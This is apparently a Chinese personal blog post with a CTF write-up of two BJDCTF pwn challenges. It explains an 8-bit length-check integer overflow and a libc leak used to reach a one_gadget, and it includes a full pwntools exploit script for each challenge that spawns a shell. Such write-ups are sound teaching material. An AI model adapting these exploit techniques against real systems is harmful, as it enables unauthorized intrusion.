bjdctf r2t3 onegadget

  没错,这就是一篇很水的随笔。...

  两道很简单的题,先来看第一道。r2t3,保护检查了一下是只开启了堆栈不可执行。

  简单看一下ida的伪代码。

  main函数让你输入一个name,然后会执行一个name_check的函数,可以看到v3是int8类型的。这里可以进行整数溢出。

     Int8, 等于Byte, 占1个字节.

    Int16, 等于short, 占2个字节. -32768 32767

    Int32, 等于int, 占4个字节. -2147483648 2147483647

    Int64, 等于long, 占8个字节. -9223372036854775808 9223372036854775807

    这样, 看起来比short,int,long更加直观些!

   另外, 还有一个Byte, 它等于byte, 0 - 255.

  所以说这里的v3是占一个字节的,一个字节是由8位二进制决定的。

  例如:0000 0000 就是一个字节,代表0,1111 1111 也是一个字节,代表255.

  如果1111 1111再加1呢?结果就是0000 0000了,但是这只是显示了一个字节,其实再计算机里面会溢出,前面会进行进位操作,可以看到这里有个判断就是判断v3的长度,必须是在(3,8]这个区间内,满足这个容易,但是就溢出不到返回地址,要想溢出到返回地址,其实输入name的值是肯定要比8大的,这里就用到了这个整数溢出,我们可以给name的值的长度为260,这样就可以既绕过判断长度,又可以溢出到返回地址。

  对了,这道题给了后门,所以就直接拿到shell了。这里贴一下exp:

 1 from pwn import *
 2 
 3 p = remote('xxxxxx',xxxxx)
 4 context.log_level = 'debug'
 5 
 6 shell = 0x0804858B
 7 payload = 'a'*21 + p32(shell)
 8 payload += 'b'*(255-len(payload)+4)
 9 p.sendlineafter('name:',payload)
10 
11 print p.recv()
12 p.recv()
13 p.interactive()

  接下来就是one_gadget了,这道题,直接给了一个printf的地址,查一下libc版本,然后算出基地址,在直接找一个可以用的one_gadget,就直接拿到shell了。。。

  我比赛的时候一直在搭建自己学校的CTF平台,没顾上打这场比赛。。。(主要是自己菜,一道题也做不出来。。。哭唧唧)

就尝试了这一道题,不知道为啥,当时怎么也打不通.............比赛完,再一试,就通了。  无耻的还是贴一下exp:

 

 1 from pwn import *
 2 
 3 context.log_level = 'debug'
 4 p = remote('xxxxxxxxn',xxxx)
 5 
 6 p.recvuntil('u:0x')
 7 print_addr = int(p.recv(12),16)
 8 og = [0xe237f,0xe2383,0xe2386,0x106ef8]
 9 base_addr = print_addr - 0x062830
10 shell = base_addr + og[3]
11 payload = str(shell)
12 print payload
13 p.sendlineafter('gadget:',payload)
14 p.interactive()

 

  本来还想发一道题的,结果看见是堆题目,立一个flag,这个星期忙里偷闲,把堆入个门,顺便把拿到yds想要女朋友(???是CTF它不好玩吗?要什么女朋友???)做出来!

  下两个博客一个是堆,一个是那道题的解析!好了,又水了一篇博客,真开心,溜了溜了,上数据库原理去了。。。

 

posted @ 2020-03-26 10:20  不会修电脑  阅读(506)  评论(0编辑  收藏  举报